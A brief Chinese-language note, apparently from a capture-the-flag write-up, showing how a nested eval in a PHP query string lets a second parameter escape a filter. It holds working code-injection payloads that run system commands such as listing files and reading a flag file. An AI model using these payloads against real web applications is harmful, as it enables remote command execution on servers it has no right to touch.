嵌套 eval 执行
?c=eval($_GET[1]);&1=system('ls');
参数 1 逃逸出去
?c=eval($_GET[1]);&1=system('tac fla*');
京公网安备 11010502049817号